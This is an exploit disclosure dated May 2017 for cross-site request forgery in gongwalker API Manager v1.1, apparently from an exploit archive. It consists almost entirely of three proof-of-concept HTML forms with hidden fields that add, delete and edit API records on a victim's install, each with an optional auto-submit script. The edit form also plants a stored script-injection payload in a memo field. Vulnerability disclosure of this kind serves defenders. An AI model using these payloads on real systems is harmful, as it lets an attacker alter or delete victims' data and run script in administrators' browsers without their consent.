Gongwalker API Manager 1.1 Cross Site Request Forgery
Posted on 11 May 2017
# Exploit Title: gongwalker API Manager v1.1 - CSRF(Add/Delete/Edit API) # Date: 2017-05-10 # Exploit Author: HaHwul # Exploit Author Blog: www.hahwul.com # Vendor Homepage: https://github.com/gongwalker/ApiManager # Software Link: https://github.com/gongwalker/ApiManager.git # Version: v1.1 # Tested on: Debian ### CSRF1 - ADD API Data <form name="csrf_poc" action="http://127.0.0.1/vul_test/ApiManager/index.php?op=add&act=api&tag=2&type=do" method="POST"> <input type="hidden" name="num" value="test"> <input type="hidden" name="p%5Bname%5D%5B%5D" value="test"> <input type="hidden" name="p%5BparamType%5D%5B%5D" value="lkj"> <input type="hidden" name="memo" value="kj"> <input type="hidden" name="p%5Bdes%5D%5B%5D" value=""> <input type="hidden" name="type" value="GET"> <input type="hidden" name="url" value="test"> <input type="hidden" name="p%5Btype%5D%5B%5D" value="Y"> <input type="hidden" name="p%5Bdefault%5D%5B%5D" value=""> <input type="hidden" name="des" value="test"> <input type="hidden" name="re" value="lkj"> <input type="hidden" name="name" value="test"> <input type="submit" value="Replay!"> </form> <!-- Auto-submit script: <script type="text/javascript">document.forms.csrf_poc.submit();</script> --> ### CSRF2 - Delete API Data <form name="csrf_poc" action="http://127.0.0.1/vul_test/ApiManager/index.php?op=apiDelete&act=ajax" method="POST"> <input type="hidden" name="id" value="3"> <input type="submit" value="Replay!"> </form> <!-- Auto-submit script: <script type="text/javascript">document.forms.csrf_poc.submit();</script> --> ### CSRF3 - EDIT API Data <form name="csrf_poc" action="http://127.0.0.1/vul_test/ApiManager/index.php?op=edit&act=api&tag=2&type=do" method="POST"> <input type="hidden" name="num" value="001"> <input type="hidden" name="p%5Bname%5D%5B%5D" value="password"> <input type="hidden" name="p%5BparamType%5D%5B%5D" value="CSRF_PASSWORD"> <input type="hidden" name="memo" value="login_name x4e0e email x4e8cx9009x5176x4e00654<script>alert('csrf')</script>"> <input type="hidden" name="p%5Bdes%5D%5B%5D" value="x5bc6x7801"> <input type="hidden" name="type" value="POST"> <input type="hidden" name="url" value="http://api.xxx.com"> <input type="hidden" name="p%5Btype%5D%5B%5D" value="Y"> <input type="hidden" name="p%5Bdefault%5D%5B%5D" value=""> <input type="hidden" name="des" value="x4f1ax5458x767bx5f55x8c03x7528x6b64x63a5x53e3"> <input type="hidden" name="re" value="{ "status": 1, "info": "x767bx5f55x6210x529f", "data": [ ] }"> <input type="hidden" name="name" value="x4f1ax5458x767bx5f55"> <input type="hidden" name="id" value="2"> <input type="submit" value="Replay!"> </form> <!-- Auto-submit script: <script type="text/javascript">document.forms.csrf_poc.submit();</script> -->